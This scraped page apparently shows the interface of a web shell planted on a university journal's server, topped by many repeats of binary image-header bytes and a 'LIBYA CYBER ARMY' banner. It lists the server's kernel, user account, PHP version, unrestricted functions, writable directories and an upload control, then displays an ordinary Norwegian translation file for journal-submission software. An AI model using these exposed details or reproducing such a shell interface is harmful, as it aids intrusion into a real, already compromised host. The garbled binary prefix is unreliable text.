JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/alqalam/locale/nb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/alqalam/locale/nb/submission.po
# Tormod Strømme <tormod.stromme@uib.no>, 2022, 2023.
# Aysa Ekanger <aysa.ekanger@uit.no>, 2023.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-04-24 10:26+0000\n"
"Last-Translator: Aysa Ekanger <aysa.ekanger@uit.no>\n"
"Language-Team: Norwegian Bokmål <http://translate.pkp.sfu.ca/projects/ojs/"
"submission/nb_NO/>\n"
"Language: nb\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.13.1\n"

msgid "submission.submit.userGroup"
msgstr "Lever inn i min rolle som ..."

msgid "submission.upload.selectComponent"
msgstr "Velg artikkelkomponent"

msgid "submission.title"
msgstr "Tittel"

msgid "submission.title.tip"
msgstr ""
"Denne typen innlevering er vanligvis «bilde», «tekst» eller andre "
"multimediatyper, inkludert «programvare» og «interaktiv». Velg den som er "
"mest relevant for din innlevering. Du finner eksempler hos: <a target="
"\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/"
"generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Start en ny innlevering i"

msgid "submission.submit.newSubmissionSingle"
msgstr "Ny innlevering"

msgid "grid.action.workflow"
msgstr "Arbeidsflyt"

msgid "submission.abstract.wordCount.description"
msgstr "Sammendraget må være {$wordCount} ord eller færre."

msgid "submission.submit.noContext"
msgstr "Innleveringens tidsskrift ble ikke funnet."

msgid "submission.issueEntry"
msgstr "Metadata"

msgid "submission.submit.whatNext.description"
msgstr ""
"Tidsskriftet har blitt varslet om innleveringen din. Du har mottatt en e-"
"post med bekreftelse. Så snart redaktøren har gått gjennom innleveringen, "
"vil du bli kontaktet."

msgid "grid.action.galleyInIssueEntry"
msgstr "Oppsettet vises i utgavens innholdsfortegnelse"

msgid "grid.action.issueEntry"
msgstr "Se metadata for denne innleveringen"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Artikkeloppsettet «{$galleyFormatName}» er gjort tilgjengelig."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Artikkeloppsettet «{$galleyFormatName}» har blitt gjort utilgjengelig."

msgid "submission.event.publicIdentifiers"
msgstr "Den offentlige identifikatoren til innleveringen er oppdatert."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Godkjenn format"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p>Dette oppsettet vil <em>ikke lenger være tilgjengelig</em> for leserne.</"
"p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr ""
"<p>Dette oppsettet vil <em>bli gjort tilgjengelig</em> for leserne.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Gjør oppsettet tilgjengelig"

msgid "submission.galleyFiles"
msgstr "Oppsettfiler"

msgid "submission.proofReadingDescription"
msgstr ""
"Layout-redaktøren laster opp produksjonsklare filer som har blitt klargjort "
"for publisering her. Bruk <em>«Oppnevn sluttkontrollør»</em> for å la "
"forfattere og andre korrekturlese oppsettet. Korrigerte filer lastes opp for "
"godkjenning før publisering."

msgid "grid.action.approveProof"
msgstr "Godkjenn denne korrekturen for inkludering i oppsettet."

msgid "grid.action.pageProofApproved"
msgstr "Denne korrekturen har blitt godkjent for inkludering i oppsettet."

msgid "submission.submit.titleAndSummary"
msgstr "Tittel og sammendrag"

msgid "submission.submit.upload.description"
msgstr ""
"Last opp filer knyttet til denne innleveringen, inkludert artikkelen, "
"metadata, datasett, illustrasjoner osv."

msgid "submission.pageProofs"
msgstr "Korrekturlesing"

msgid "workflow.review.externalReview"
msgstr "Fagfellevurdering"

msgid "submission.event.issueMetadataUpdated"
msgstr "Utgave-metadata for innleveringen ble oppdatert."

msgid "submission.upload.fileContents"
msgstr "Artikkelkomponent"

msgid "submission.complete"
msgstr "Godkjent"

msgid "submission.incomplete"
msgstr "Avventer godkjenning"

msgid "submission.submit.submissionChecklist"
msgstr "Sjekkliste for innleveringer"

msgid "submission.submit.privacyStatement"
msgstr "Erklæring om personvern"

msgid "submission.submit.contributorRole"
msgstr "Bidragsyterens rolle"

msgid "submission.citationFormat.notFound"
msgstr "Det forespurte referanseformatet kunne ikke hentes."

msgid "submission.metadataDescription"
msgstr ""
"Disse spesifikasjonene er basert på metadatasettet Dublin Core, en "
"internasjonal standard som bl.a. brukes til å beskrive tidsskriftsinnhold."

msgid "section.any"
msgstr "Alle seksjoner"

msgid "submission.sectionOptions"
msgstr "Seksjonsinnstillinger"

#, fuzzy
msgid "catalog.browseTitles"
msgstr "{$numTitles} titler"

#, fuzzy
msgid "catalog.category.heading"
msgstr "Alle objekter"

msgid "galley.editPublishedDisabled"
msgstr ""
"Oppsettene til denne publikasjonen kan ikke redigeres fordi den allerede er "
"publisert."

msgid "galley.publicationNotFound"
msgstr "Publikasjonen til dette oppsettet ble ikke funnet."

msgid "publication.assignToissue"
msgstr "Legg til utgave"

msgid "publication.assignedToIssue"
msgstr ""
"Denne er tildelt <a href=\"{$issueUrl}\">{$issueName}</a>, men det er ikke "
"planlagt publisert."

msgid "publication.changeIssue"
msgstr "Endre utgave"

msgid "publication.datePublished.description"
msgstr ""
"Publikasjonsdatoen blir satt automatisk når utgaven blir publisert. Ikke "
"angi publikasjonsdato med mindre artikkelen har vært publisert tidligere et "
"annet sted og du må oppgi første publiserte dato for artikkelen."

msgid "publication.invalidSection"
msgstr "Seksjonen for denne publikasjonen ble ikke funnet."

msgid "publication.inactiveSection"
msgstr "{$section} (Inaktiv)"

msgid "publication.invalidIssue"
msgstr "Utgaven for denne publikasjonen ble ikke funnet."

msgid "publication.publish.confirmation"
msgstr ""
"Alle publiseringskrav er oppfylt. Er du sikker på at du vil publisere denne?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Alle publiseringskrav er oppfylt. Denne blir publisert når {issue} blir "
"publisert. Er du sikker på at du vil publisere denne når nummeret publiseres?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Alle publiseringskrav er oppfylt. Denne blir publisert med en gang i "
"{issue}. Er du sikker på at du vil publisere denne?"

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Alle publiseringskrav er oppfylt. Denne blir publisert med en gang fordi "
"publiseringsdato er satt til {$datePublished}. Er du sikker på at du vil "
"publisere denne?"

msgid "publication.required.issue"
msgstr "Publikasjonen må legges til et nummer før den kan publiseres."

msgid "publication.publishedIn"
msgstr "Publisert i <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.scheduledIn"
msgstr "Planlagt for publisering i <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.unscheduledIn"
msgstr "Denne har ikke blitt planlagt for publisering i et nummer."

msgid "publication.selectIssue"
msgstr "Velg et nummer som publikasjonen skal publiseres i"

msgid "submission.publication"
msgstr "Publikasjon"

msgid "publication.status.published"
msgstr "Publisert"

msgid "submission.status.scheduled"
msgstr "Planlagt"

msgid "publication.status.unscheduled"
msgstr "Ikke planlagt"

msgid "submission.publications"
msgstr "Publikasjoner"

msgid "publication.copyrightYearBasis.issueDescription"
msgstr ""
"Opphavsrettsåret settes automatisk når denne innleveringen publiseres i et "
"nummer."

msgid "publication.copyrightYearBasis.submissionDescription"
msgstr "Opphavsrettsåret settes automatisk basert på publiseringsdatoen."

msgid "publication.datePublished"
msgstr "Dato publisert"

msgid "publication.editDisabled"
msgstr "Denne versjonen er publisert og kan ikke redigeres."

msgid "publication.event.published"
msgstr "Innleveringen ble publisert."

msgid "publication.event.scheduled"
msgstr "Innleveringen var planlagt for publisering."

msgid "publication.event.unpublished"
msgstr "Innleveringen ble ikke publisert."

msgid "publication.event.versionPublished"
msgstr "En ny versjon ble publisert."

msgid "publication.event.versionScheduled"
msgstr "En ny versjon var planlagt for publisering."

msgid "publication.event.versionUnpublished"
msgstr "En versjon ble fjernet fra publikasjonen."

msgid "publication.invalidSubmission"
msgstr "Innleveringen til denne publikasjonen kunne ikke finnes."

msgid "publication.publish"
msgstr "Publiser"

msgid "publication.publish.requirements"
msgstr "Følgende krav må være oppfylt før dette kan publiseres."

msgid "publication.required.declined"
msgstr "En avvist innlevering kan ikke publiseres."

msgid "publication.required.reviewStage"
msgstr ""
"Innleveringen må være på Språkvask- eller Produksjonstrinnet før den kan "
"publiseres."

msgid "submission.license.description"
msgstr ""
"Lisensen settes automatisk til <a href='{$licenseUrl}' target='_blank'> "
"{$licenseName} </a> når den blir publisert."

msgid "submission.copyrightHolder.description"
msgstr "Opphavsretten tildeles automatisk {$copyright} når den publiseres."

msgid "submission.copyrightOther.description"
msgstr ""
"Tilordne opphavsrett i forbindelse med publiserte innleveringer til følgende "
"gruppe."

msgid "publication.unpublish"
msgstr "Avpubliser"

msgid "publication.unpublish.confirm"
msgstr "Er du sikker på at du ikke ønsker at dette skal publiseres?"

msgid "publication.unschedule.confirm"
msgstr ""
"Er du sikker på at du ikke vil ha dette planlagt til senere publisering?"

msgid "publication.version.details"
msgstr "Publikasjonsopplysninger i forbindelse med versjon {$version}"

msgid "submission.queries.production"
msgstr "Diskusjon av produksjon"

msgid "editor.submission.decision.backToReview"
msgstr "Tilbake til fagfellevurdering"

msgid "editor.submission.decision.backToReview.description"
msgstr ""
"Omgjør beslutningen om å akseptere dette manuskriptet og send det tilbake "
"til fagfellevurderingssteget."

msgid "editor.submission.decision.backToReview.log"
msgstr ""
"{$editorName} omgjorde beslutningen om å akseptere dette manuskriptet og "
"sendte det tilbake til fagfellevurderingssteget."

msgid "editor.submission.decision.backToReview.completed"
msgstr "Sendt tilbake til fagfellevurdering"

msgid "editor.submission.decision.backToReview.completed.description"
msgstr ""
"Innleveringen, {$title}, ble sendt tilbake til fagfellevurderingssteget."

msgid "editor.submission.decision.backToReview.notifyAuthorsDescription"
msgstr ""
"Send en e-post til forfatterne om at deres manuskript sendes tilbake til "
"fagfellevurderingssteget. Forklar bakgrunnen for denne beslutningen og "
"informer forfatterne om hvilken ytterligere vurdering som skal gjennomføres."

msgid "editor.submission.decision.sendExternalReview.notifyAuthorsDescription"
msgstr ""
"Send en e-post til forfatterne om at manuskriptet vil bli sendt til "
"fagfellevurdering. Gi om mulig forfatterne en indikasjon på hvor lang tid "
"prosessen med fagfellevurdering kan ta og når de kan forvente å høre fra "
"redaktørene igjen. Denne eposten blir sendt først etter at redaksjonens "
"avgjørelse er registrert."

msgid "editor.submission.decision.promoteFiles.externalReview"
msgstr "Velg filer som skal sendes til fagfellevurderingssteget."

msgid "doi.submission.issueMissing.publication"
msgstr ""
"Kunne ikke opprette en DOI til den følgende innlevering: {$pubObjectTitle}. "
"Innleveringen må knyttes til en utgave før en DOI kan genereres."

msgid "doi.submission.issueMissing.representation"
msgstr ""
"Kunne ikke opprette en DOI til {$pubObjectTitle} oppsett til følgende "
"innlevering: {$itemTitle}. Innleveringen må knyttes til en utgave før en DOI "
"kan genereres."

msgid "doi.submission.incorrectContext"
msgstr ""
"Kunne ikke opprette en DOI til følgende innlevering: {$pubObjectTitle}. Den "
"eksisterer ikke i det nåværende tidsskriftet."

msgid "submission.layout.viewGalley"
msgstr "Vis oppsett"

#, fuzzy
msgid "galley.cantEditPublished"
msgstr ""
"Dette oppsettet kan ikke redigeres fordi det allerede har blitt publisert."

#, fuzzy
msgid "submission.copyright.description"
msgstr ""
"Vennligst les gjennom opphavsrettslige vilkår som gjelder innleveringer til "
"dette tidsskriftet."

#, fuzzy
msgid "submission.wizard.notAllowed.description"
msgstr ""
"Du har ikke lov til å sende innleveringer til dette tidsskriftet fordi "
"forfattere må registreres av tidsskriftets redaksjon. Hvis du mener at dette "
"er en feil, vennligst ta kontakt med <a href='mailto:{$email}'>{$name}</a>."

msgid "submission.wizard.noSectionAllowed.description"
msgstr ""
"Du har ikke lov til å levere et manuskript til dette tidsskriftet fordi "
"innleveringer til alle seksjoner i dette tidsskriftet har blitt deaktivert "
"eller begrenset. Hvis du mener at dette er en feil, vennligst ta kontakt med "
"<a href='mailto:{$email}'>{$name}</a>."

msgid "submission.wizard.sectionClosed.message"
msgstr ""
"{$contextName} tar ikke imot innleveringer til seksjonen {$section}. Hvis du "
"trenger hjelp med din innlevering, ta kontakt med <a "
"href='mailto:{$email}'>{$name}</a>."

msgid "submission.sectionNotFound"
msgstr "Det var ikke mulig å finne seksjonen for denne innleveringen."

msgid "submission.sectionRestrictedToEditors"
msgstr "Kun redaksjonen kan sende inn manus til denne seksjonen."

msgid "submission.submit.form.authorRequired"
msgstr "Skriv inn minst en forfatter."

msgid "submission.submit.form.titleRequired"
msgstr "Skriv inn tittelen på artikkelen."

msgid "submission.submit.form.abstractRequired"
msgstr "Skriv inn sammendraget."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Sammendraget ditt er for langt. Gjør det kortere i tråd med ordgrensen for "
"denne seksjonen."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Velg bidragsyterens rolle."

#~ msgid "publication.issue.success"
#~ msgstr "Publikasjonens nummeropplysninger har blitt oppdatert."

#~ msgid "editor.submission.decision.sendExternalReview"
#~ msgstr "Send til fagfellevurdering"

3g86 2022